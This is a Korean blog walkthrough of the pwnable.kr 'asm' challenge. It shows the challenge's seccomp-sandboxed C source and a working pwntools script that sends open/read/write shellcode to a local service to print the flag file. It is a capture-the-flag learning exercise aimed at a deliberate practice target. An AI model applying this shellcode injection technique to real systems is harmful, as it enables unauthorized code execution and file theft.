[Pwnable.kr] asm 풀이 (6pt)
Wargame/pwnable.kr

[Pwnable.kr] asm 풀이 (6pt)

풀이

다음은 asm.c의 코드이다.

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <seccomp.h>
#include <sys/prctl.h>
#include <fcntl.h>
#include <unistd.h>

#define LENGTH 128

void sandbox(){
        scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
        if (ctx == NULL) {
                printf("seccomp error\n");
                exit(0);
        }

        seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
        seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
        seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
        seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
        seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);

        if (seccomp_load(ctx) < 0){
                seccomp_release(ctx);
                printf("seccomp error\n");
                exit(0);
        }
        seccomp_release(ctx);
}

char stub[] = "\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff";

unsigned char filter[256];
int main(int argc, char* argv[]){

        setvbuf(stdout, 0, _IONBF, 0);
        setvbuf(stdin, 0, _IOLBF, 0);

        printf("Welcome to shellcoding practice challenge.\n");
        printf("In this challenge, you can run your x64 shellcode under SECCOMP sandbox.\n");
        printf("Try to make shellcode that spits flag using open()/read()/write() systemcalls only.\n");
        printf("If this does not challenge you. you should play 'asg' challenge :)\n");

        char* sh = (char*)mmap(0x41414000, 0x1000, 7, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0);
        memset(sh, 0x90, 0x1000);
        memcpy(sh, stub, strlen(stub));

        int offset = sizeof(stub);
        printf("give me your x64 shellcode: ");
        read(0, sh+offset, 1000);

        alarm(10);
        chroot("/home/asm_pwn");        // you are in chroot jail. so you can't use symlink in /tmp
        sandbox();
        ((void (*)(void))sh)();
        return 0;
}

먼저 해당 경로에 무슨 파일들이 있나 확인해보자.

asm@pwnable:~$ ls
asm
asm.c
readme
this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong

readme의 내용을 확인해보자.

asm@pwnable:~$ cat readme
once you connect to port 9026, the "asm" binary will be executed under asm_pwn privilege.
make connection to challenge (nc 0 9026) then get the flag. (file name of the flag is same as the one in this directory)

nc로 원격으로 접속해 푸는 문제라고 설명하고 있다.

이번에는 저 긴 이름의 파일의 내용을 확인해보자.

asm@pwnable:~$ cat this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong
this is fake flag file for letting you know the name of flag file.

아마 원격에서의 진짜 flag 파일이 저거인 듯하다.


이제 asm을 실행해보자.

asm@pwnable:~$ ./asm
Welcome to shellcoding practice challenge.
In this challenge, you can run your x64 shellcode under SECCOMP sandbox.
Try to make shellcode that spits flag using open()/read()/write() systemcalls only.
If this does not challenge you. you should play 'asg' challenge :)
give me your x64 shellcode:

SECCOMP sandbox 밑에서 돌아가며, 오직 open, read, write 함수만을 이용해 쉘코드를 작성하라고 적혀있다.

asm.c를 보면 SECCOMP rule 정책을 이용해 open, read, write만 허용하는 것을 볼 수 있을 것이다.

근데 쉘코드를 작성하라니... 초보자인 나에게 이토록 어려운 일이 아닐 수가 없다.

아마 C로 코드를 짜면 이런 식으로 나오지 않을까?

#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>

int main(int argc, char *argv[]) {
        char buf[1000] = "";
        int fd;
        fd = open("/home/asm/this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong", O_RDONLY);
        read(fd, buf, 1000);
        write(1, buf, 1000);
        close(fd);
}

하지만 우리는 C가 아닌 쉘코드를 작성해야 한다.

방법을 찾아보던 도중, pwntools에 shellcraft라는 도구가 있어 사용하기로 했다.

shellcraft 관련 내용은 문서나, 다른 블로그에 많이 나와있으니 참고해보도록 하자.

shellcraft 사용법을 토대로 적은 코드는 다음과 같다.

from pwn import *

p = remote('localhost',9026)
context(arch='amd64', os='linux')

shellcode = ''
shellcode += shellcraft.pushstr('this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong')
shellcode += shellcraft.open('rsp', 0, 0)
shellcode += shellcraft.read('rax', 'rsp', 333)
shellcode += shellcraft.write(1, 'rsp', 333)

p.recvuntil('give me your x64 shellcode: ')
p.send(asm(shellcode))

for i in range(0,3):
        print p.recvline()

이번 문제를 풀어보고 확실하게 느낀건, pwnable.kr 토들러 난이도를 다 풀고 이론 공부에 신경써야 한다는 것을 깨닫게 되었다. 빨리 토들러 문제를 다 풀고 이론 공부를 빡새게 해야겠다 ㅠㅠ..

'Wargame > pwnable.kr' 카테고리의 다른 글

[Pwnable.kr] horcruxes 풀이 (7pt)  (0) 2020.07.28
[Pwnable.kr] memcpy 풀이 (10pt)  (0) 2020.07.27
[Pwnable.kr] uaf 풀이 (8pt)  (0) 2020.07.27
[Pwnable.kr] blukat 풀이 (3pt)  (0) 2020.07.23
[Pwnable.kr] cmd2 풀이 (9pt)  (0) 2020.07.22